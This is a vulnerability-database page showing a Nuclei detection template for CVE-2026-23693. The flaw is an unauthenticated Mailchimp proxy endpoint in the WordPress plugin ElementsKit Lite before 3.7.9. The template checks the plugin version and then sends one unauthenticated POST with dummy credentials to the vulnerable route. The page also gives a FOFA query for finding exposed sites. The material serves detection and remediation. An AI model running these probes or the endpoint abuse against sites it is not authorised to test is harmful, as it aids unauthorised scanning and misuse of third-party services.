Lucene search
+L

ElementsKit Lite <3.7.9 - Unauthenticated Mailchimp Proxy

🗓️ 07 Sep 2026 06:34:52Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

Unauthenticated Mailchimp open-proxy in ElementsKit Lite <3.7.9 allows data tampering and API exhaustion.

Related
Refs
Code
id: CVE-2026-23693

info:
  name: ElementsKit Lite <3.7.9 - Unauthenticated Mailchimp Proxy
  author: rahulreddykarne
  severity: high
  description: |
    The ElementsKit Elementor Addons Lite (elementskit-lite) plugin for WordPress before 3.7.9 registers the REST route /wp-json/elementskit/v1/widget/mailchimp/subscribe with no authentication or capability check (CWE-306). The handler accepts client-supplied Mailchimp API credentials and a `list` parameter and issues upstream Mailchimp API requests, letting an unauthenticated attacker use the site as an open proxy to Mailchimp.
  impact: |
    Unauthenticated attackers can invoke the Mailchimp integration with no credentials on the site, enabling open-proxy abuse, subscription-data tampering, and Mailchimp API-quota / resource exhaustion.
  remediation: |
    Update ElementsKit Lite (elementskit-lite) to 3.7.9 or later, which enforces authentication on the endpoint.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/85025fb9-6e19-4c0f-bf16-4b890ba5f7f5
    - https://wordpress.org/plugins/elementskit-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23693
  classification:
    cve-id: CVE-2026-23693
    epss-score: 0.00384
    epss-percentile: 0.31556
    cwe-id: CWE-306
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
    cvss-score: 10.0
  metadata:
    max-request: 1
    vendor: wpmet
    product: elementskit-lite
    framework: wordpress
    fofa-query: body="/wp-content/plugins/elementskit-lite/"
  tags: cve,cve2026,wordpress,wp-plugin,elementskit,elementskit-lite,unauth,auth-bypass,mailchimp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/elementskit-lite/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<3.7.9')"
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - '(?i)Stable.tag:\s?([\w.]+)'
        internal: true

  - raw:
      - |
        POST /wp-json/elementskit/v1/widget/mailchimp/subscribe HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        email=test-{{randstr}}@example.com&list=test-invalid-list&apikey=0000000000000000000000000000000-us1

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        negative: true
        condition: or
        words:
          - "rest_forbidden"
          - "rest_cannot_access"
          - "rest_not_logged_in"
          - "rest_no_route"
# digest: 490a0046304402202036ff0a190560d8f0ac54b8a0b3d83ae56073ba7991d8ccf5bee5641fe9322e022010ea91e45d83b838384ac4fa711754ad559173b761236f5583682db1271cb172:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation